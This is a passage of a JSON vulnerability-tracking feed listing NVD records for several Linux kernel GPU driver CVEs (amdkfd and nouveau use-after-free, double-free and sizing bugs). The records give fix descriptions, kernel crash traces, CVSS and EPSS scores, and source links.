exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98520","cveId":"CVE-2026-98520","aliases":[],"kind":"vulnerability","title":"Linux kernel: drm/amdkfd: fix use-after-free and multi-container gap in kfd_dev_mapping","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: fix use-after-free and multi-container gap in kfd_dev_mapping\n\nkfd_dev_mapping caches the address_space of the first /dev/kfd opener\nso that the GPU reset path can call unmap_mapping_range() to zap all\nuserspace mappings of doorbell and MMIO ranges.  This design has two\nbugs that both manifest under SRIOV with multiple containers:\n\n1. Use-after-free / rwsem deadlock.  The cached pointer refers to an\n   inode owned by the first opener's container.  When that container\n   exits and its inode is released, kfd_dev_mapping becomes a dangling\n   pointer.  A subsequent GPU reset dereferences it inside\n   unmap_mapping_range(), which takes i_mmap_rwsem on the freed inode,\n   causing a hard hang observable as an uninterruptible rwsem wait.\n\n2. Multi-container gap.  Only the first opener's address_space is cached;\n   VMAs created by later openers live in a different address_space and\n   are never reached by unmap_mapping_range().  After a GPU reset those\n   stale mappings keep doorbell and MMIO pages accessible to guest\n   userspace with no GPU behind them, risking PCIe transaction timeouts\n   and NMI panics.\n\nFix both bugs with the same approach used by DRM core (drm_drv.c):\ncreate a private pseudo-filesystem at module init time and allocate one\nanonymous inode from it.  In kfd_open() redirect every opener's\nfile->f_mapping to that inode's address_space.  The inode is\nmodule-owned, lives exactly as long as the amdgpu module, and collects\nVMAs from all openers in one address_space.  A single\nunmap_mapping_range() call in the reset path then correctly reaches\nevery container's mappings with no dangling pointer risk.\n\nThe hang manifests as an NMI backtrace on the GPU reset workqueue stuck\nspinning in rwsem_down_read_slowpath() with a corrupted i_mmap_rwsem:\n\n  Workqueue: amdgpu-reset-dev xgpu_ai_mailbox_flr_work [amdgpu]\n  Call Trace:\n   <TASK>\n   kvm_wait+0x1f/0x40\n   __pv_queued_spin_lock_slowpath+0x31d/0x3a0\n   _raw_spin_lock_irq+0x51/0x80\n   rwsem_down_read_slowpath+0xb3/0x550\n   down_read+0x48/0xd0\n   unmap_mapping_range+0x71/0x140\n   kfd_dev_unmap_mapping_range+0x5b/0x140 [amdgpu]\n   amdg","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: fix use-after-free and multi-container gap in kfd_dev_mapping\n\nkfd_dev_mapping caches the address_space of the first /dev/kfd opener\nso that the GPU reset path can call unmap_mapping_range() to zap all\nuserspace mappings of doorbell and MMIO ranges.  This design has two\nbugs that both manifest under SRIOV with multiple containers:\n\n1. Use-after-free / rwsem deadlock.  The cached pointer refers to an\n   inode owned by the first opener's container.  When that container\n   exits and its inode is released, kfd_dev_mapping becomes a dangling\n   pointer.  A subsequent GPU reset dereferences it inside\n   unmap_mapping_range(), which takes i_mmap_rwsem on the freed inode,\n   causing a hard hang observable as an uninterruptible rwsem wait.\n\n2. Multi-container gap.  Only the first opener's address_space is cached;\n   VMAs created by later openers live in a different address_space and\n   are never reached by unmap_mapping_range().  After a GPU reset those\n   stale mappings keep doorbell and MMIO pages accessible to guest\n   userspace with no GPU behind them, risking PCIe transaction timeouts\n   and NMI panics.\n\nFix both bugs with the same approach used by DRM core (drm_drv.c):\ncreate a private pseudo-filesystem at module init time and allocate one\nanonymous inode from it.  In kfd_open() redirect every opener's\nfile->f_mapping to that inode's address_space.  The inode is\nmodule-owned, lives exactly as long as the amdgpu module, and collects\nVMAs from all openers in one address_space.  A single\nunmap_mapping_range() call in the reset path then correctly reaches\nevery container's mappings with no dangling pointer risk.\n\nThe hang manifests as an NMI backtrace on the GPU reset workqueue stuck\nspinning in rwsem_down_read_slowpath() with a corrupted i_mmap_rwsem:\n\n  Workqueue: amdgpu-reset-dev xgpu_ai_mailbox_flr_work [amdgpu]\n  Call Trace:\n   <TASK>\n   kvm_wait+0x1f/0x40\n   __pv_queued_spin_lock_slowpath+0x31d/0x3a0\n   _raw_spin_lock_irq+0x51/0x80\n   rwsem_down_read_slowpath+0xb3/0x550\n   down_read+0x48/0xd0\n   unmap_mapping_range+0x71/0x140\n   kfd_dev_unmap_mapping_range+0x5b/0x140 [amdgpu]\n   amdgpu_amdkfd_clear_kfd_mapping+0xd8/0x190 [amdgpu]\n   amdgpu_device_gpu_recover+0x232/0x450 [amdgpu]\n   xgpu_ai_mailbox_flr_work+0xb5/0xc0 [amdgpu]\n   process_one_work+0x18e/0x3e0\n   worker_thread+0x2e3/0x420\n   kthread+0x10a/0x230\n\n(cherry picked from commit 1128b4a52de1572e87431de837fd9850cb99542c)\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:03.370Z","updatedAt":"2026-10-24T14:16:45.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98520","asOf":"2026-10-24T14:16:45.950Z"},"epss":{"probability":0.00166,"percentile":0.05765,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98520&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98520","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98520","type":"primary","publishedAt":"2026-10-18T16:17:03.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98520&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98520, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98518","cveId":"CVE-2026-98518","aliases":[],"kind":"vulnerability","title":"Linux kernel: drm/nouveau/dmem: pin VRAM for the whole registered range","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/nouveau/dmem: pin VRAM for the whole registered range\n\nCommit c32287471077 (\"gpu/drm/nouveau: enable THP support for GPU memory\nmigration\") grew the device-private region that\nnouveau_dmem_chunk_alloc() registers from DMEM_CHUNK_SIZE to\nDMEM_CHUNK_SIZE * NR_CHUNKS, but left the VRAM buffer object backing that\nregion at DMEM_CHUNK_SIZE.\n\nnouveau_dmem_page_addr() returns chunk->bo->offset plus the page's offset\nwithin the registered region, so every page past the first chunk resolves\nto VRAM outside the buffer object.\n\nSize the buffer object to the region it backs.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/nouveau/dmem: pin VRAM for the whole registered range\n\nCommit c32287471077 (\"gpu/drm/nouveau: enable THP support for GPU memory\nmigration\") grew the device-private region that\nnouveau_dmem_chunk_alloc() registers from DMEM_CHUNK_SIZE to\nDMEM_CHUNK_SIZE * NR_CHUNKS, but left the VRAM buffer object backing that\nregion at DMEM_CHUNK_SIZE.\n\nnouveau_dmem_page_addr() returns chunk->bo->offset plus the page's offset\nwithin the registered region, so every page past the first chunk resolves\nto VRAM outside the buffer object.\n\nSize the buffer object to the region it backs.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:03.163Z","updatedAt":"2026-10-24T14:16:45.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98518","asOf":"2026-10-24T14:16:45.813Z"},"epss":{"probability":0.00132,"percentile":0.02774,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98518&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98518","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98518","type":"primary","publishedAt":"2026-10-18T16:17:03.163Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98518&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98518, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98517","cveId":"CVE-2026-98517","aliases":[],"kind":"vulnerability","title":"Linux kernel: drm/nouveau/uvmm: fix UAF in nouveau_uvmm_sm when BO is in TTM_PL_SYSTEM","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/nouveau/uvmm: fix UAF in nouveau_uvmm_sm when BO is in TTM_PL_SYSTEM\n\nnouveau_uvmm_sm() calls op_map(), which passes bo->resource through\nnouveau_mem() to nouveau_uvma_map(). nouveau_uvmm_vmm_map() then reads\nmem->mem.type.\n\nBut this is only valid when bo->resource is backed by struct nouveau_mem,\nas is the case for VRAM and TT resources. If the BO is left in\nTTM_PL_SYSTEM, bo->resource is only a struct ttm_resource. Treating it\nas struct nouveau_mem makes the mem->mem.type read past the end of the\nresource, causing a KASAN: slab-use-after-free Read in nouveau_uvmm_sm\nreport:\n\nBUG: KASAN: slab-use-after-free in nouveau_uvmm_vmm_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:152 [inline]\nBUG: KASAN: slab-use-after-free in nouveau_uvma_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:199 [inline]\nBUG: KASAN: slab-use-after-free in op_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:849 [inline]\nBUG: KASAN: slab-use-after-free in nouveau_uvmm_sm.constprop.0+0x6ab/0x900 drivers/gpu/drm/nouveau/nouveau_uvmm.c:903\nRead of size 1 at addr ffff888127d3e3a0 by task kworker/0:1/11\n\nCPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Not tainted 7.2.0 #5 PREEMPT(lazy)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\nWorkqueue: nouveau_sched_wq_2224 drm_sched_run_job_work\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x95/0xe0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xcb/0x5a0 mm/kasan/report.c:482\n kasan_report+0xca/0x100 mm/kasan/report.c:595\n nouveau_uvmm_vmm_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:152 [inline]\n nouveau_uvma_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:199 [inline]\n op_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:849 [inline]\n nouveau_uvmm_sm.constprop.0+0x6ab/0x900 drivers/gpu/drm/nouveau/nouveau_uvmm.c:903\n nouveau_uvmm_sm_unmap drivers/gpu/drm/nouveau/nouveau_uvmm.c:932 [inline]\n nouveau_uvmm_bind_job_run+0xd6/0x250 drivers/gpu/drm/nouveau/nouveau_uvmm.c:1532\n nouveau_job_run drivers/gpu/drm/nouveau/nouveau_sched.c:350 [inline]\n nouveau_sched_run_job+0x62/0xd0 drivers/gpu/drm/nouveau","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/nouveau/uvmm: fix UAF in nouveau_uvmm_sm when BO is in TTM_PL_SYSTEM\n\nnouveau_uvmm_sm() calls op_map(), which passes bo->resource through\nnouveau_mem() to nouveau_uvma_map(). nouveau_uvmm_vmm_map() then reads\nmem->mem.type.\n\nBut this is only valid when bo->resource is backed by struct nouveau_mem,\nas is the case for VRAM and TT resources. If the BO is left in\nTTM_PL_SYSTEM, bo->resource is only a struct ttm_resource. Treating it\nas struct nouveau_mem makes the mem->mem.type read past the end of the\nresource, causing a KASAN: slab-use-after-free Read in nouveau_uvmm_sm\nreport:\n\nBUG: KASAN: slab-use-after-free in nouveau_uvmm_vmm_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:152 [inline]\nBUG: KASAN: slab-use-after-free in nouveau_uvma_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:199 [inline]\nBUG: KASAN: slab-use-after-free in op_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:849 [inline]\nBUG: KASAN: slab-use-after-free in nouveau_uvmm_sm.constprop.0+0x6ab/0x900 drivers/gpu/drm/nouveau/nouveau_uvmm.c:903\nRead of size 1 at addr ffff888127d3e3a0 by task kworker/0:1/11\n\nCPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Not tainted 7.2.0 #5 PREEMPT(lazy)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\nWorkqueue: nouveau_sched_wq_2224 drm_sched_run_job_work\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x95/0xe0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xcb/0x5a0 mm/kasan/report.c:482\n kasan_report+0xca/0x100 mm/kasan/report.c:595\n nouveau_uvmm_vmm_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:152 [inline]\n nouveau_uvma_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:199 [inline]\n op_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:849 [inline]\n nouveau_uvmm_sm.constprop.0+0x6ab/0x900 drivers/gpu/drm/nouveau/nouveau_uvmm.c:903\n nouveau_uvmm_sm_unmap drivers/gpu/drm/nouveau/nouveau_uvmm.c:932 [inline]\n nouveau_uvmm_bind_job_run+0xd6/0x250 drivers/gpu/drm/nouveau/nouveau_uvmm.c:1532\n nouveau_job_run drivers/gpu/drm/nouveau/nouveau_sched.c:350 [inline]\n nouveau_sched_run_job+0x62/0xd0 drivers/gpu/drm/nouveau/nouveau_sched.c:364\n drm_sched_run_job_work+0x356/0xa10 drivers/gpu/drm/scheduler/sched_main.c:1061\n process_one_work+0x8a5/0x1900 kernel/workqueue.c:3322\n process_scheduled_works kernel/workqueue.c:3405 [inline]\n worker_thread+0x5dd/0xd80 kernel/workqueue.c:3486\n kthread+0x31d/0x420 kernel/kthread.c:436\n ret_from_fork+0x662/0x940 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245\n </TASK>\n\nAllocated by task 2224 on cpu 0 at 66.550027s:\n kasan_save_stack+0x24/0x50 mm/kasan/common.c:57\n kasan_save_track+0x17/0x60 mm/kasan/common.c:78\n poison_kmalloc_redzone mm/kasan/common.c:398 [inline]\n __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415\n kasan_kmalloc include/linux/kasan.h:263 [inline]\n __do_kmalloc_node mm/slub.c:5334 [inline]\n __kmalloc_noprof+0x304/0x7c0 mm/slub.c:5359\n _kmalloc_noprof include/linux/slab.h:992 [inline]\n dma_resv_list_alloc+0x27/0x90 drivers/dma-buf/dma-resv.c:106\n dma_resv_reserve_fences+0x60e/0xa30 drivers/dma-buf/dma-resv.c:205\n ttm_bo_alloc_resource+0x12c/0xbd0 drivers/gpu/drm/ttm/ttm_bo.c:721\n ttm_bo_validate+0x1bc/0x4a0 drivers/gpu/drm/ttm/ttm_bo.c:856\n ttm_bo_init_reserved+0x2c3/0x570 drivers/gpu/drm/ttm/ttm_bo.c:970\n nouveau_bo_init+0x159/0x2c0 drivers/gpu/drm/nouveau/nouveau_bo.c:359\n nouveau_gem_new+0x234/0x5f0 drivers/gpu/drm/nouveau/nouveau_gem.c:272\n nouveau_gem_ioctl_new+0x1eb/0x420 drivers/gpu/drm/nouveau/nouveau_gem.c:352\n drm_ioctl_kernel+0x192/0x350 drivers/gpu/drm/drm_ioctl.c:817\n drm_ioctl+0x4f8/0xb40 drivers/gpu/drm/drm_ioctl.c:914\n nouveau_drm_ioctl+0xea/0x2c0 drivers/gpu/drm/nouveau/nouveau_drm.c:1338\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x180/0x1d0 fs/ioctl.c:583\n do_syscall_x64 ar\n---truncated---\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:03.033Z","updatedAt":"2026-10-24T14:16:45.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98517","asOf":"2026-10-24T14:16:45.630Z"},"epss":{"probability":0.00164,"percentile":0.05537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98517&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98517","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98517","type":"primary","publishedAt":"2026-10-18T16:17:03.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98517&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98517, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98515","cveId":"CVE-2026-98515","aliases":[],"kind":"vulnerability","title":"Linux kernel: drm/nouveau: fix double-free in nvif_vmm_dtor","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/nouveau: fix double-free in nvif_vmm_dtor\n\nOn failure, nouveau_cli_init() calls nouveau_cli_fini() to tear\nthe client down. Then, nouveau_drm_open() also enters into its\ncleanup path and calls nouveau_cli_fini() AGAIN. nouveau_cli_fini()\ncalls nouveau_vmm_fini():\n\n\tvoid\n\tnouveau_vmm_fini(struct nouveau_vmm *vmm)\n\t{\n\t\tnouveau_svmm_fini(&vmm->svmm);\n\t\tnvif_vmm_dtor(&vmm->vmm);\n\t\tvmm->cli = NULL;\n\t}\n\nInside nvif_vmm_dtor(), vmm->page is freed unconditionally:\n\n\tvoid\n\tnvif_vmm_dtor(struct nvif_vmm *vmm)\n\t{\n\t\tkfree(vmm->page);\n\t\tnvif_object_dtor(&vmm->object);\n\t}\n\nvmm->page is never cleared after being freed, so the second call of\nnvif_vmm_dtor() will cause a double-free.\n\nFound by fuzzing the nouveau driver with a modified Syzkaller:\n\n\tBUG: KASAN: double-free in nvif_vmm_dtor+0x31/0x50 drivers/gpu/drm/nouveau/nvif/vmm.c:194\n\tFree of addr ffff888010fcdc30 by task syz.0.173/2567\n\n\tCPU: 1 UID: 0 PID: 2567 Comm: syz.0.173 Not tainted 7.2.0 #24 PREEMPT(lazy)\n\tHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n\tCall Trace:\n\t<TASK>\n\t__dump_stack lib/dump_stack.c:94 [inline]\n\tdump_stack_lvl+0x95/0xe0 lib/dump_stack.c:120\n\tprint_address_description mm/kasan/report.c:378 [inline]\n\tprint_report+0xcb/0x5a0 mm/kasan/report.c:482\n\tkasan_report_invalid_free+0xaa/0xd0 mm/kasan/report.c:557\n\tcheck_slab_allocation+0xe4/0x110 mm/kasan/common.c:235\n\tkasan_slab_pre_free include/linux/kasan.h:199 [inline]\n\tslab_free_hook mm/slub.c:2622 [inline]\n\tslab_free mm/slub.c:6377 [inline]\n\tkfree+0x192/0x590 mm/slub.c:6692\n\tnvif_vmm_dtor+0x31/0x50 drivers/gpu/drm/nouveau/nvif/vmm.c:194\n\tnouveau_vmm_fini+0x16/0x50 drivers/gpu/drm/nouveau/nouveau_vmm.c:127\n\tnouveau_cli_fini+0x10e/0x210 drivers/gpu/drm/nouveau/nouveau_drm.c:225\n\tnouveau_drm_open+0x24e/0x740 drivers/gpu/drm/nouveau/nouveau_drm.c:1255\n\tdrm_file_alloc+0x5f2/0xad0 drivers/gpu/drm/drm_file.c:176\n\tdrm_open_helper+0x1d7/0x4a0 drivers/gpu/drm/drm_file.c:335\n\tdrm_open+0x190/0x3d0 drivers/gpu/drm/drm_file.c:388\n\tdrm_stub_open+0x1f2/0x460 drivers/gpu/drm/drm_drv.c:1211\n\tchrdev_open+0x21c/0x660 fs/char_dev.c:411\n\tdo_dentry_open+0x59d/0","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/nouveau: fix double-free in nvif_vmm_dtor\n\nOn failure, nouveau_cli_init() calls nouveau_cli_fini() to tear\nthe client down. Then, nouveau_drm_open() also enters into its\ncleanup path and calls nouveau_cli_fini() AGAIN. nouveau_cli_fini()\ncalls nouveau_vmm_fini():\n\n\tvoid\n\tnouveau_vmm_fini(struct nouveau_vmm *vmm)\n\t{\n\t\tnouveau_svmm_fini(&vmm->svmm);\n\t\tnvif_vmm_dtor(&vmm->vmm);\n\t\tvmm->cli = NULL;\n\t}\n\nInside nvif_vmm_dtor(), vmm->page is freed unconditionally:\n\n\tvoid\n\tnvif_vmm_dtor(struct nvif_vmm *vmm)\n\t{\n\t\tkfree(vmm->page);\n\t\tnvif_object_dtor(&vmm->object);\n\t}\n\nvmm->page is never cleared after being freed, so the second call of\nnvif_vmm_dtor() will cause a double-free.\n\nFound by fuzzing the nouveau driver with a modified Syzkaller:\n\n\tBUG: KASAN: double-free in nvif_vmm_dtor+0x31/0x50 drivers/gpu/drm/nouveau/nvif/vmm.c:194\n\tFree of addr ffff888010fcdc30 by task syz.0.173/2567\n\n\tCPU: 1 UID: 0 PID: 2567 Comm: syz.0.173 Not tainted 7.2.0 #24 PREEMPT(lazy)\n\tHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n\tCall Trace:\n\t<TASK>\n\t__dump_stack lib/dump_stack.c:94 [inline]\n\tdump_stack_lvl+0x95/0xe0 lib/dump_stack.c:120\n\tprint_address_description mm/kasan/report.c:378 [inline]\n\tprint_report+0xcb/0x5a0 mm/kasan/report.c:482\n\tkasan_report_invalid_free+0xaa/0xd0 mm/kasan/report.c:557\n\tcheck_slab_allocation+0xe4/0x110 mm/kasan/common.c:235\n\tkasan_slab_pre_free include/linux/kasan.h:199 [inline]\n\tslab_free_hook mm/slub.c:2622 [inline]\n\tslab_free mm/slub.c:6377 [inline]\n\tkfree+0x192/0x590 mm/slub.c:6692\n\tnvif_vmm_dtor+0x31/0x50 drivers/gpu/drm/nouveau/nvif/vmm.c:194\n\tnouveau_vmm_fini+0x16/0x50 drivers/gpu/drm/nouveau/nouveau_vmm.c:127\n\tnouveau_cli_fini+0x10e/0x210 drivers/gpu/drm/nouveau/nouveau_drm.c:225\n\tnouveau_drm_open+0x24e/0x740 drivers/gpu/drm/nouveau/nouveau_drm.c:1255\n\tdrm_file_alloc+0x5f2/0xad0 drivers/gpu/drm/drm_file.c:176\n\tdrm_open_helper+0x1d7/0x4a0 drivers/gpu/drm/drm_file.c:335\n\tdrm_open+0x190/0x3d0 drivers/gpu/drm/drm_file.c:388\n\tdrm_stub_open+0x1f2/0x460 drivers/gpu/drm/drm_drv.c:1211\n\tchrdev_open+0x21c/0x660 fs/char_dev.c:411\n\tdo_dentry_open+0x59d/0x12b0 fs/open.c:947\n\tvfs_open+0x82/0x390 fs/open.c:1052\n\tdo_open fs/namei.c:4700 [inline]\n\tpath_openat+0x2345/0x3420 fs/namei.c:4863\n\tdo_file_open+0x207/0x460 fs/namei.c:4892\n\tdo_sys_openat2+0xd1/0x1d0 fs/open.c:1368\n\tdo_sys_open fs/open.c:1374 [inline]\n\t__do_sys_openat fs/open.c:1390 [inline]\n\t__se_sys_openat fs/open.c:1385 [inline]\n\t__x64_sys_openat+0x144/0x200 fs/open.c:1385\n\tdo_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n\tdo_syscall_64+0x115/0x690 arch/x86/entry/syscall_64.c:94\n\tentry_SYSCALL_64_after_hwframe+0x77/0x7f\n\tRIP: 0033:0x7fc6d687594d\n\tCode: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48\n\tRSP: 002b:00007fc6d5295008 EFLAGS: 00000246 ORIG_RAX: 0000000000000101\n\tRAX: ffffffffffffffda RBX: 00007fc6d6b06180 RCX: 00007fc6d687594d\n\tRDX: 0000000000022501 RSI: 0000200000000000 RDI: ffffffffffffff9c\n\tRBP: 00007fc6d691c303 R08: 0000000000000000 R09: 0000000000000000\n\tR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\n\tR13: 00007fc6d6b06218 R14: 00007fc6d6b06180 R15: 00007ffd9451d760\n\t</TASK>\n\n\tAllocated by task 2567 on cpu 1 at 163.593900s:\n\tkasan_save_stack+0x24/0x50 mm/kasan/common.c:57\n\tkasan_save_track+0x17/0x60 mm/kasan/common.c:78\n\tpoison_kmalloc_redzone mm/kasan/common.c:398 [inline]\n\t__kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415\n\tkasan_kmalloc include/linux/kasan.h:263 [inline]\n\t__do_kmalloc_node mm/slub.c:5334 [inline]\n\t__kmalloc_noprof+0x304/0x7c0 mm/slub.c:5359\n\t_kmalloc_noprof include/linux/slab.h:992 [inline]\n\tnvif_vmm_ctor+0x3c0/0x7e0 drivers/gpu/drm/nouveau/nvif/vmm.c:237\n\tnouveau_vmm_init+0x40/0x90 drivers/gpu/drm/nouveau/nouveau_vmm.c:134\n\tnouveau_cli_init+0x7b9/0\n---truncated---\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:02.773Z","updatedAt":"2026-10-24T14:16:45.433Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98515","asOf":"2026-10-24T14:16:45.433Z"},"epss":{"probability":0.00169,"percentile":0.06258,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98515&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98515","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98515","type":"primary","publishedAt":"2026-10-18T16:17:02.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 